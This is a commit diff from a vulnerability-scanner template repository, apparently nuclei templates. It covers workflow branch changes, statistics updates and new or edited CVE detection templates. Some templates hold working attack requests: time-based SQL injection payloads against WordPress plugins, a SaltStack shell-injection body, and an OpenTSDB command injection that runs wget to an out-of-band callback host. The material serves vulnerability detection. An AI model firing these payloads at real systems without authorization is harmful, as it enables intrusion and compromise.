Auto Generated New Template Addition List [Thu Jan 5 18:00:45 UTC 2023] 🤖

* Create akamai-s3-cache-poisoning.yaml

* fix-lint

* misc update

Co-authored-by: sandeep <[email protected]>

.github/workflows/cve-annotate.yml

@@ -3,7 +3,7 @@ name: ✍🏻 CVE Annotate
 on:
   push:
     branches:
-      - master
+      - main
   workflow_dispatch:
 
 jobs:

.github/workflows/new-templates.yml

@@ -3,7 +3,7 @@ name: 🥳 New Template List
 on:
   push:
     branches:
-      - master
+      - main
   workflow_dispatch:
 
 jobs:

.github/workflows/syntax-checking.yml

@@ -1,6 +1,8 @@
 name: ❄️ YAML Lint
 
-on: [push, pull_request]
+on:
+  pull_request:
+  workflow_dispatch:
 
 jobs:
   build:

.github/workflows/template-db-indexer.yml

@@ -3,7 +3,7 @@ name: 📑 Template-DB Indexer
 on:
   push:
     branches:
-      - master
+      - main
   workflow_dispatch:
 
 jobs:

.github/workflows/template-validate.yml

@@ -1,6 +1,7 @@
 name: 🛠 Template Validate
 
-on: [ push, pull_request ]
+on:
+  pull_request:
 
 jobs:
   build:

.github/workflows/templates-stats.yml

@@ -10,7 +10,9 @@ jobs:
   build:
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@master
+      - uses: actions/checkout@v3
+        with: 
+          fetch-depth: 0
       - uses: actions/setup-go@v2
         with: 
           go-version: 1.18
@@ -51,5 +53,4 @@ jobs:
       - name: Push changes
         uses: ad-m/github-push-action@master
         with:
-          github_token: ${{ secrets.GITHUB_TOKEN }}
-          branch: master
+          github_token: ${{ secrets.GITHUB_TOKEN }}

.github/workflows/wordpress-plugins-update.yml

@@ -1,8 +1,10 @@
 name: ✨ WordPress Plugins - Update
+
 on:
   schedule:
     - cron: "0 4 * * *" # every day at 4am UTC
   workflow_dispatch:
+
 jobs:
   Update:
     runs-on: ubuntu-latest

.new-additions

@@ -0,0 +1,15 @@
+cves/2021/CVE-2021-24946.yaml
+cves/2022/CVE-2022-0784.yaml
+cves/2022/CVE-2022-24816.yaml
+cves/2022/CVE-2022-46169.yaml
+exposed-panels/lenovo-fp-panel.yaml
+exposed-panels/mpftvc-admin-panel.yaml
+exposed-panels/netsparker-panel.yaml
+exposed-panels/watershed-panel.yaml
+exposed-panels/zoho/manageengine-network-config.yaml
+misconfiguration/akamai/akamai-s3-cache-poisoning.yaml
+misconfiguration/installer/acunetix-360-installer.yaml
+misconfiguration/installer/netsparker-enterprise-installer.yaml
+network/detection/pgsql-detect.yaml
+technologies/akamai-detect.yaml
+token-spray/api-zerbounce.yaml

README.md

@@ -40,20 +40,20 @@ An overview of the nuclei template project, including statistics on unique tags,
 
 ## Nuclei Templates Top 10 statistics
 
-|    TAG    | COUNT |    AUTHOR     | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
-|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |  1552 | dhiyaneshdk   |   701 | cves             |  1529 | info     |  1671 | http    |  4330 |
-| panel     |   780 | daffainfo     |   662 | exposed-panels   |   782 | high     |  1152 | file    |    78 |
-| edb       |   582 | pikpikcu      |   344 | vulnerabilities  |   520 | medium   |   837 | network |    77 |
-| exposure  |   551 | pdteam        |   274 | misconfiguration |   361 | critical |   552 | dns     |    17 |
-| xss       |   543 | geeknik       |   206 | technologies     |   322 | low      |   281 |         |       |
-| lfi       |   519 | pussycat0x    |   172 | exposures        |   308 | unknown  |    25 |         |       |
-| wordpress |   471 | dwisiswant0   |   171 | token-spray      |   236 |          |       |         |       |
-| cve2021   |   370 | 0x_akoko      |   170 | workflows        |   190 |          |       |         |       |
-| wp-plugin |   366 | ritikchaddha  |   164 | default-logins   |   116 |          |       |         |       |
-| tech      |   360 | princechaddha |   153 | file             |    78 |          |       |         |       |
+|    TAG    | COUNT |    AUTHOR    | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
+|-----------|-------|--------------|-------|------------------|-------|----------|-------|---------|-------|
+| cve       |  1575 | dhiyaneshdk  |   707 | cves             |  1552 | info     |  1919 | http    |  4630 |
+| panel     |   803 | daffainfo    |   662 | exposed-panels   |   805 | high     |  1169 | network |    84 |
+| wordpress |   684 | pikpikcu     |   344 | technologies     |   529 | medium   |   849 | file    |    78 |
+| edb       |   583 | pdteam       |   273 | vulnerabilities  |   528 | critical |   568 | dns     |    17 |
+| wp-plugin |   579 | geeknik      |   220 | misconfiguration |   371 | low      |   294 |         |       |
+| exposure  |   573 | ricardomaia  |   210 | exposures        |   325 | unknown  |    26 |         |       |
+| tech      |   567 | pussycat0x   |   181 | token-spray      |   237 |          |       |         |       |
+| xss       |   548 | 0x_akoko     |   171 | workflows        |   190 |          |       |         |       |
+| lfi       |   522 | dwisiswant0  |   171 | default-logins   |   122 |          |       |         |       |
+| cve2021   |   375 | ritikchaddha |   167 | file             |    78 |          |       |         |       |
 
-**335 directories, 5229 files**.
+**335 directories, 5243 files**.
 
 </td>
 </tr>

TEMPLATES-STATS.json

@@ -1 +1 @@
-{"tags":[{"name":"cve","count":1552},{"name":"panel","count":780},{"name":"edb","count":582},{"name":"exposure","count":551},{"name":"xss","count":543},{"name":"lfi","count":519},{"name":"wordpress","count":471},{"name":"cve2021","count":370},{"name":"wp-plugin","count":366},{"name":"tech","count":360},{"name":"rce","count":347},{"name":"packetstorm","count":292},{"name":"cve2022","count":266},{"name":"wpscan","count":256},{"name":"token-spray","count":236},{"name":"misconfig","count":228},{"name":"cve2020","count":224},{"name":"","count":195},{"name":"unauth","count":194},{"name":"wp","count":188},{"name":"kev","count":168},{"name":"config","count":167},{"name":"cve2018","count":145},{"name":"cve2019","count":137},{"name":"joomla","count":135},{"name":"default-login","count":133},{"name":"apache","count":127},{"name":"oast","count":127},{"name":"iot","count":125},{"name":"authenticated","count":121},{"name":"sqli","count":118},{"name":"cve2010","count":111},{"name":"files","count":92},{"name":"router","count":92},{"name":"redirect","count":90},{"name":"login","count":89},{"name":"network","count":81},{"name":"takeover","count":75},{"name":"devops","count":75},{"name":"token","count":74},{"name":"ssrf","count":72},{"name":"cve2017","count":71},{"name":"cms","count":67},{"name":"auth-bypass","count":66},{"name":"file","count":65},{"name":"oracle","count":63},{"name":"intrusive","count":60},{"name":"install","count":59},{"name":"disclosure","count":57},{"name":"seclists","count":57},{"name":"oss","count":52},{"name":"cisco","count":50},{"name":"cve2016","count":49},{"name":"google","count":48},{"name":"cve2015","count":47},{"name":"fileupload","count":47},{"name":"adobe","count":45},{"name":"aem","count":42},{"name":"plugin","count":41},{"name":"cve2014","count":41},{"name":"hackerone","count":39},{"name":"vmware","count":38},{"name":"vulhub","count":38},{"name":"logs","count":38},{"name":"atlassian","count":38},{"name":"debug","count":37},{"name":"tenable","count":36},{"name":"springboot","count":35},{"name":"traversal","count":35},{"name":"injection","count":34},{"name":"jira","count":32},{"name":"huntr","count":31},{"name":"listing","count":31},{"name":"kubernetes","count":30},{"name":"generic","count":28},{"name":"dns","count":27},{"name":"log4j","count":26},{"name":"cnvd","count":25},{"name":"sap","count":25},{"name":"microsoft","count":25},{"name":"misc","count":23},{"name":"jndi","count":23},{"name":"proxy","count":23},{"name":"aws","count":23},{"name":"fuzz","count":22},{"name":"php","count":22},{"name":"api","count":21},{"name":"zoho","count":21},{"name":"manageengine","count":21},{"name":"cve2012","count":21},{"name":"wp-theme","count":21},{"name":"cloud","count":20},{"name":"weblogic","count":20},{"name":"tomcat","count":19},{"name":"k8s","count":19},{"name":"camera","count":19},{"name":"ibm","count":19},{"name":"cicd","count":19},{"name":"deserialization","count":19},{"name":"gitlab","count":18},{"name":"dlink","count":18},{"name":"firewall","count":17},{"name":"service","count":17},{"name":"jenkins","count":17},{"name":"wavlink","count":17},{"name":"struts","count":17},{"name":"ftp","count":16},{"name":"printer","count":16},{"name":"nginx","count":15},{"name":"xxe","count":15},{"name":"cve2011","count":15},{"name":"cve2009","count":15},{"name":"fortinet","count":15},{"name":"java","count":14},{"name":"domainmod","count":14},{"name":"hp","count":14},{"name":"android","count":14},{"name":"confluence","count":13},{"name":"woocommerce","count":13},{"name":"cve2008","count":13},{"name":"status","count":13},{"name":"msf","count":13},{"name":"amazon","count":13},{"name":"abstractapi","count":13},{"name":"cve2013","count":13},{"name":"lfr","count":13},{"name":"magento","count":13},{"name":"drupal","count":12},{"name":"microweber","count":12},{"name":"github","count":12},{"name":"netgear","count":12},{"name":"rails","count":12},{"name":"fortigate","count":12},{"name":"vpn","count":12},{"name":"backup","count":12},{"name":"ruijie","count":12},{"name":"netsweeper","count":12},{"name":"graphql","count":12},{"name":"webserver","count":11},{"name":"zyxel","count":11},{"name":"azure","count":11},{"name":"ssl","count":11},{"name":"cnvd2021","count":11},{"name":"backdoor","count":11},{"name":"mail","count":11},{"name":"cisa","count":11},{"name":"airflow","count":11},{"name":"laravel","count":10},{"name":"django","count":10},{"name":"git","count":10},{"name":"dell","count":10},{"name":"grafana","count":10},{"name":"glpi","count":10},{"name":"ruby","count":10},{"name":"jolokia","count":10},{"name":"spring","count":10},{"name":"coldfusion","count":10},{"name":"ssti","count":9},{"name":"fastjson","count":9},{"name":"kube","count":9},{"name":"phpmyadmin","count":9},{"name":"prometheus","count":9},{"name":"windows","count":9},{"name":"ssh","count":9},{"name":"zimbra","count":9},{"name":"versa","count":9},{"name":"vcenter","count":9},{"name":"sonicwall","count":9},{"name":"dedecms","count":9},{"name":"iis","count":9},{Line truncated
+{"tags":[{"name":"cve","count":1575},{"name":"panel","count":803},{"name":"wordpress","count":684},{"name":"edb","count":583},{"name":"wp-plugin","count":579},{"name":"exposure","count":573},{"name":"tech","count":567},{"name":"xss","count":548},{"name":"lfi","count":522},{"name":"cve2021","count":375},{"name":"rce","count":352},{"name":"packetstorm","count":294},{"name":"cve2022","count":283},{"name":"wpscan","count":268},{"name":"misconfig","count":242},{"name":"token-spray","count":237},{"name":"cve2020","count":224},{"name":"unauth","count":211},{"name":"wp","count":201},{"name":"top-200","count":200},{"name":"","count":195},{"name":"config","count":173},{"name":"kev","count":168},{"name":"cve2018","count":145},{"name":"default-login","count":139},{"name":"cve2019","count":138},{"name":"joomla","count":135},{"name":"iot","count":132},{"name":"apache","count":131},{"name":"oast","count":128},{"name":"sqli","count":126},{"name":"authenticated","count":124},{"name":"cve2010","count":111},{"name":"files","count":101},{"name":"top-100","count":100},{"name":"router","count":95},{"name":"redirect","count":91},{"name":"login","count":89},{"name":"network","count":88},{"name":"token","count":76},{"name":"devops","count":76},{"name":"ssrf","count":75},{"name":"takeover","count":74},{"name":"cve2017","count":71},{"name":"auth-bypass","count":69},{"name":"cms","count":67},{"name":"file","count":66},{"name":"install","count":63},{"name":"oracle","count":63},{"name":"intrusive","count":60},{"name":"seclists","count":58},{"name":"disclosure","count":57},{"name":"oss","count":52},{"name":"cisco","count":50},{"name":"cve2016","count":49},{"name":"google","count":48},{"name":"fileupload","count":47},{"name":"cve2015","count":47},{"name":"adobe","count":45},{"name":"aem","count":42},{"name":"logs","count":42},{"name":"cve2014","count":41},{"name":"plugin","count":41},{"name":"hackerone","count":41},{"name":"debug","count":40},{"name":"vmware","count":39},{"name":"atlassian","count":38},{"name":"vulhub","count":38},{"name":"tenable","count":36},{"name":"springboot","count":35},{"name":"traversal","count":35},{"name":"injection","count":34},{"name":"jira","count":32},{"name":"huntr","count":32},{"name":"listing","count":31},{"name":"generic","count":31},{"name":"kubernetes","count":31},{"name":"dns","count":27},{"name":"log4j","count":26},{"name":"microsoft","count":25},{"name":"aws","count":25},{"name":"misc","count":25},{"name":"sap","count":25},{"name":"cnvd","count":25},{"name":"jndi","count":23},{"name":"proxy","count":23},{"name":"fuzz","count":22},{"name":"php","count":22},{"name":"manageengine","count":22},{"name":"zoho","count":22},{"name":"cve2012","count":21},{"name":"api","count":21},{"name":"wp-theme","count":21},{"name":"cicd","count":20},{"name":"deserialization","count":20},{"name":"k8s","count":20},{"name":"cloud","count":20},{"name":"weblogic","count":20},{"name":"tomcat","count":19},{"name":"ibm","count":19},{"name":"camera","count":19},{"name":"dlink","count":18},{"name":"gitlab","count":18},{"name":"wavlink","count":17},{"name":"service","count":17},{"name":"struts","count":17},{"name":"firewall","count":17},{"name":"jenkins","count":17},{"name":"ftp","count":17},{"name":"msf","count":16},{"name":"printer","count":16},{"name":"fortinet","count":15},{"name":"amazon","count":15},{"name":"cve2011","count":15},{"name":"cve2009","count":15},{"name":"xxe","count":15},{"name":"nginx","count":15},{"name":"android","count":14},{"name":"lfr","count":14},{"name":"domainmod","count":14},{"name":"java","count":14},{"name":"status","count":14},{"name":"hp","count":14},{"name":"confluence","count":13},{"name":"cve2008","count":13},{"name":"woocommerce","count":13},{"name":"abstractapi","count":13},{"name":"magento","count":13},{"name":"cve2013","count":13},{"name":"backup","count":12},{"name":"ruijie","count":12},{"name":"netgear","count":12},{"name":"microweber","count":12},{"name":"vpn","count":12},{"name":"fortigate","count":12},{"name":"rails","count":12},{"name":"graphql","count":12},{"name":"drupal","count":12},{"name":"github","count":12},{"name":"zyxel","count":12},{"name":"netsweeper","count":12},{"name":"webserver","count":11},{"name":"mail","count":11},{"name":"cnvd2021","count":11},{"name":"cisa","count":11},{"name":"ssl","count":11},{"name":"backdoor","count":11},{"name":"airflow","count":11},{"name":"azure","count":11},{"name":"dell","count":10},{"name":"admin","count":10},{"name":"ruby","count":10},{"name":"spring","count":10},{"name":"jolokia","count":10},{"name":"glpi","count":10},{"name":"grafana","count":10},{"name":"git","count":10},{"name":"coldfusion","count":10},{"name":"laravel","count":10},{"name":"django","count":10},{"name":"vcenter","count":9},{"name":"wso2","count":9},{"name":"ssti","count":9},{"name":"iis","count":9},{"name":"prometheus","count":9},{"name":"zimbra","count":9},{"name":"kube","count":9},{"name":"windows","count":9},{"name":"npm","count":9},{"name":"ssh","count":9},{"name":Line truncated

TOP-10.md

@@ -1,12 +1,12 @@
-|    TAG    | COUNT |    AUTHOR     | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
-|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |  1552 | dhiyaneshdk   |   701 | cves             |  1529 | info     |  1671 | http    |  4330 |
-| panel     |   780 | daffainfo     |   662 | exposed-panels   |   782 | high     |  1152 | file    |    78 |
-| edb       |   582 | pikpikcu      |   344 | vulnerabilities  |   520 | medium   |   837 | network |    77 |
-| exposure  |   551 | pdteam        |   274 | misconfiguration |   361 | critical |   552 | dns     |    17 |
-| xss       |   543 | geeknik       |   206 | technologies     |   322 | low      |   281 |         |       |
-| lfi       |   519 | pussycat0x    |   172 | exposures        |   308 | unknown  |    25 |         |       |
-| wordpress |   471 | dwisiswant0   |   171 | token-spray      |   236 |          |       |         |       |
-| cve2021   |   370 | 0x_akoko      |   170 | workflows        |   190 |          |       |         |       |
-| wp-plugin |   366 | ritikchaddha  |   164 | default-logins   |   116 |          |       |         |       |
-| tech      |   360 | princechaddha |   153 | file             |    78 |          |       |         |       |
+|    TAG    | COUNT |    AUTHOR    | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
+|-----------|-------|--------------|-------|------------------|-------|----------|-------|---------|-------|
+| cve       |  1575 | dhiyaneshdk  |   707 | cves             |  1552 | info     |  1919 | http    |  4630 |
+| panel     |   803 | daffainfo    |   662 | exposed-panels   |   805 | high     |  1169 | network |    84 |
+| wordpress |   684 | pikpikcu     |   344 | technologies     |   529 | medium   |   849 | file    |    78 |
+| edb       |   583 | pdteam       |   273 | vulnerabilities  |   528 | critical |   568 | dns     |    17 |
+| wp-plugin |   579 | geeknik      |   220 | misconfiguration |   371 | low      |   294 |         |       |
+| exposure  |   573 | ricardomaia  |   210 | exposures        |   325 | unknown  |    26 |         |       |
+| tech      |   567 | pussycat0x   |   181 | token-spray      |   237 |          |       |         |       |
+| xss       |   548 | 0x_akoko     |   171 | workflows        |   190 |          |       |         |       |
+| lfi       |   522 | dwisiswant0  |   171 | default-logins   |   122 |          |       |         |       |
+| cve2021   |   375 | ritikchaddha |   167 | file             |    78 |          |       |         |       |

cves/2017/CVE-2017-7615.yaml

@@ -18,7 +18,7 @@ info:
     - http://www.openwall.com/lists/oss-security/2017/04/16/2
     - https://nvd.nist.gov/vuln/detail/CVE-2017-7615
   classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 8.8
     cve-id: CVE-2017-7615
     cwe-id: CWE-640

cves/2017/CVE-2017-9833.yaml

@@ -11,7 +11,7 @@ info:
     - https://pastebin.com/raw/rt7LJvyF
     - https://www.exploit-db.com/exploits/42290/
   classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
     cvss-score: 7.5
     cve-id: CVE-2017-9833
     cwe-id: CWE-22

cves/2018/CVE-2018-17431.yaml

@@ -11,7 +11,7 @@ info:
     - https://nvd.nist.gov/vuln/detail/CVE-2018-17431
     - https://github.com/Fadavvi/CVE-2018-17431-PoC#confirmation-than-bug-exist-2018-09-25-ticket-id-xwr-503-79437
   classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2018-17431
     cwe-id: CWE-287

cves/2018/CVE-2018-19365.yaml

@@ -3,15 +3,15 @@ id: CVE-2018-19365
 info:
   name: Wowza Streaming Engine Manager 4.7.4.01 - Directory Traversal
   author: 0x_Akoko
-  severity: critical
+  severity: high
   description: Wowza Streaming Engine 4.7.4.01 allows traversal of the directory structure and retrieval of a file via a remote, specifically crafted HTTP request to the REST API.
   reference:
     - https://blog.gdssecurity.com/labs/2019/2/11/wowza-streaming-engine-manager-directory-traversal-and-local.html
     - https://www.cvedetails.com/cve/CVE-2018-19365
     - https://raw.githubusercontent.com/WowzaMediaSystems/public_cve/main/wowza-streaming-engine/CVE-2018-19365.txt
   classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
-    cvss-score: 9.1
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.5
     cve-id: CVE-2018-19365
     cwe-id: CWE-22
   tags: cve,cve2018,wowza,lfi

cves/2018/CVE-2018-20470.yaml

@@ -11,7 +11,7 @@ info:
     - http://packetstormsecurity.com/files/153330/Sahi-Pro-7.x-8.x-Directory-Traversal.html
     - https://nvd.nist.gov/vuln/detail/CVE-2018-20470
   classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
     cvss-score: 7.5
     cve-id: CVE-2018-20470
     cwe-id: CWE-22

cves/2019/CVE-2019-10405.yaml

@@ -10,10 +10,10 @@ info:
     - https://jenkins.io/security/advisory/2019-09-25/#SECURITY-1505
     - http://www.openwall.com/lists/oss-security/2019/09/25/3
   classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
-    cvss-score: 5.4
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
+    cvss-score: 4.3
     cve-id: CVE-2019-10405
-    cwe-id: CWE-79
+    cwe-id: CWE-200
   metadata:
     shodan-query: http.favicon.hash:81586312
   tags: cve,cve2019,jenkins

cves/2019/CVE-2019-14322.yaml

@@ -11,7 +11,7 @@ info:
     - http://packetstormsecurity.com/files/163398/Pallets-Werkzeug-0.15.4-Path-Traversal.html
     - https://nvd.nist.gov/vuln/detail/CVE-2019-14322
   classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
     cvss-score: 7.5
     cve-id: CVE-2019-14322
     cwe-id: CWE-22

cves/2019/CVE-2019-9922.yaml

@@ -11,7 +11,7 @@ info:
     - https://extensions.joomla.org/extension/je-messenger/
     - https://nvd.nist.gov/vuln/detail/CVE-2019-9922
   classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
     cvss-score: 7.5
     cve-id: CVE-2019-9922
     cwe-id: CWE-22

cves/2020/CVE-2020-11110.yaml

@@ -13,13 +13,13 @@ info:
     - https://hackerone.com/reports/1329433
   remediation: This issue can be resolved by updating Grafana to the latest version.
   classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
-    cvss-score: 5.4
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
     cve-id: CVE-2020-11110
     cwe-id: CWE-79
   metadata:
     shodan-query: title:"Grafana"
-  tags: cve2020,xss,grafana,hackerone,cve
+  tags: grafana,hackerone,cve,cve2020,xss
 
 requests:
   - raw:

cves/2020/CVE-2020-16846.yaml

@@ -4,8 +4,7 @@ info:
   name: SaltStack <=3002 - Shell Injection
   author: dwisiswant0
   severity: critical
-  description: |
-    SaltStack Salt through 3002 allows an unauthenticated user with network access to the Salt API to use shell injections to run code on the Salt-API using the SSH client.
+  description: SaltStack Salt through 3002 allows an unauthenticated user with network access to the Salt API to use shell injections to run code on the Salt-API using the SSH client.
   reference:
     - https://saltproject.io/on-november-3-2020-saltstack-publicly-disclosed-three-new-cves/
     - https://mp.weixin.qq.com/s/R8qw_lWizGyeJS0jOcYXag
@@ -25,24 +24,18 @@ requests:
     body: "token=1337&client=ssh&tgt=*&fun=a&roster=projectdiscovery&ssh_priv=nuclei"
     headers:
       Content-Type: application/x-www-form-urlencoded # CherryPy will abort w/o define this header
-
     matchers-condition: and
     matchers:
-      - type: word
-        part: body
-        words:
-          - "An unexpected error occurred"
-
-      - type: dsl
-        dsl:
-          - regex("CherryPy\/([0-9.]+)", header) || regex("CherryPy ([0-9.]+)", body)
-
-      - type: word
-        part: header
-        words:
-          - "application/json"
-
       - type: status
         status:
           - 500
+      - type: word
+        words:
+          - "application/json"
+        part: header
+      - type: word
+        words:
+          - "An unexpected error occurred"
+        part: body
+
 # Enhanced by mp on 2022/04/27

cves/2020/CVE-2020-35476.yaml

@@ -4,7 +4,8 @@ info:
   name: OpenTSDB <= 2.4.0 - Remote Code Execution
   author: pikpikcu
   severity: critical
-  description: OpenTSDB through 2.4.0 and earlier is susceptible to remote code execution via the yrange parameter written to a gnuplot file in the /tmp directory.
+  description: |
+    OpenTSDB through 2.4.0 and earlier is susceptible to remote code execution via the yrange parameter written to a gnuplot file in the /tmp directory.
   reference:
     - https://github.com/OpenTSDB/opentsdb/issues/2051
     - https://nvd.nist.gov/vuln/detail/CVE-2020-35476
@@ -14,29 +15,32 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2020-35476
     cwe-id: CWE-78
+  metadata:
+    verified: true
+    shodan-query: html:"OpenTSDB"
   tags: cve,cve2020,opentsdb,rce,packetstorm
 
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27wget%20http://interact.sh%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"
+      - "{{BaseURL}}/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27wget%20http://{{interactsh-url}}%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"
+
     matchers-condition: and
     matchers:
-      - type: status
-        status:
-          - 200
 
       - type: word
+        part: body
         words:
           - plotted
           - timing
           - cachehit
-        part: body
         condition: and
 
       - type: word
+        part: header
         words:
           - application/json
-        part: header
 
-# Enhanced by mp on 2022/04/28
+      - type: status
+        status:
+          - 200

cves/2021/CVE-2021-24946.yaml

@@ -0,0 +1,36 @@
+id: CVE-2021-24946
+
+info:
+  name: Modern Events Calendar < 6.1.5 - Blind SQL Injection
+  author: theamanrawat
+  severity: critical
+  description: |
+    The plugin does not sanitise and escape the time parameter before using it in a SQL statement in the mec_load_single_page AJAX action, available to unauthenticated users, leading to an unauthenticated SQL injection issue.
+  reference:
+    - https://wpscan.com/vulnerability/09871847-1d6a-4dfe-8a8c-f2f53ff87445
+    - https://wordpress.org/plugins/modern-events-calendar-lite/
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-24946
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2021-24946
+    cwe-id: CWE-89
+  metadata:
+    verified: "true"
+  tags: wordpress,wp-plugin,wp,unauth,wpscan,cve,cve2021,sqli,modern-events-calendar-lite
+
+requests:
+  - raw:
+      - |
+        @timeout: 10s
+        GET /wp-admin/admin-ajax.php?action=mec_load_single_page&time=1))%20UNION%20SELECT%20sleep(6)%20--%20g HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'duration>=6'
+          - 'status_code == 200 || status_code == 500'
+          - 'contains(content_type, "text/html")'
+          - 'contains(body, "The event is finished") || contains(body, "been a critical error")'
+        condition: and

cves/2021/CVE-2021-25099.yaml

@@ -17,7 +17,7 @@ info:
     cwe-id: CWE-79
   metadata:
     verified: "true"
-  tags: give,unauth,cve2021,wordpress,wp-plugin,xss,cve,wp,wpscan
+  tags: wp-plugin,wp,give,unauth,wordpress,cve2021,xss,wpscan,cve
 
 requests:
   - raw:

cves/2021/CVE-2021-28151.yaml

@@ -39,21 +39,17 @@ requests:
 
     matchers-condition: and
     matchers:
+      - type: regex
+        regex:
+          - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'
+
+      - type: word
+        part: header
+        words:
+          - "text/html"
+          - "application/x-www-form-urlencoded"
+        condition: or
+
       - type: status
         status:
           - 200
-
-      - type: word
-        words:
-          - "text/html"
-        part: header
-
-      - type: word
-        words:
-          - "uid="
-          - "gid="
-          - "groups="
-        part: body
-        condition: and
-
-# Enhanced by mp on 2022/07/15

cves/2021/CVE-2021-32853.yaml

@@ -8,8 +8,6 @@ info:
   reference:
     - https://securitylab.github.com/advisories/GHSL-2021-103-erxes/
     - https://nvd.nist.gov/vuln/detail/CVE-2021-3285
-    - https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/views/widget.ejs#L14
-    - https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/index.ts#L54
   classification:
     cve-id: CVE-2021-32853
   metadata:

cves/2022/CVE-2022-0784.yaml

@@ -0,0 +1,39 @@
+id: CVE-2022-0784
+
+info:
+  name: Title Experiments Free < 9.0.1 - Unauthenticated SQLi
+  author: theamanrawat
+  severity: critical
+  description: |
+    The Title Experiments Free WordPress plugin before 9.0.1 does not sanitise and escape the id parameter before using it in a SQL statement via the wpex_titles AJAX action (available to unauthenticated users), leading to an unauthenticated SQL injection.
+  reference:
+    - https://wpscan.com/vulnerability/6672b59f-14bc-4a22-9e0b-fcab4e01d97f
+    - https://wordpress.org/plugins/wp-experiments-free/
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-0784
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2022-0784
+    cwe-id: CWE-89
+  metadata:
+    verified: "true"
+  tags: cve,wpscan,wp-plugin,wp,sqli,wp-experiments-free,unauth,cve2022,wordpress
+
+requests:
+  - raw:
+      - |
+        @timeout: 10s
+        POST /wp-admin/admin-ajax.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        action=wpex_titles&id[]=1 AND (SELECT 321 FROM (SELECT(SLEEP(6)))je)
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'duration>=6'
+          - 'status_code == 200'
+          - 'contains(content_type, "text/html")'
+          - 'contains(body, "{\"images\":")'
+        condition: and

cves/2022/CVE-2022-0786.yaml

@@ -17,7 +17,7 @@ info:
     cwe-id: CWE-89
   metadata:
     verified: "true"
-  tags: wordpress,wp-plugin,wp,sqli,kivicare-clinic-management-system,unauth,cve,cve2022,wpscan
+  tags: sqli,kivicare-clinic-management-system,unauth,wordpress,wp-plugin,wp,cve,cve2022,wpscan
 
 requests:
   - raw:

cves/2022/CVE-2022-1595.yaml

@@ -17,7 +17,7 @@ info:
     cwe-id: CWE-200
   metadata:
     verified: "true"
-  tags: wp-plugin,wp,hc-custom-wp-admin-url,unauth,wpscan,cve,cve2022,wordpress
+  tags: unauth,wpscan,cve,cve2022,wordpress,wp-plugin,wp,hc-custom-wp-admin-url
 
 requests:
   - raw:

cves/2022/CVE-2022-2314.yaml

@@ -16,7 +16,7 @@ info:
     cve-id: CVE-2022-2314
   metadata:
     verified: "true"
-  tags: cve,cve2022,wordpress,wp,wp-plugin,rce,vr-calendar-sync,unauth,wpscan
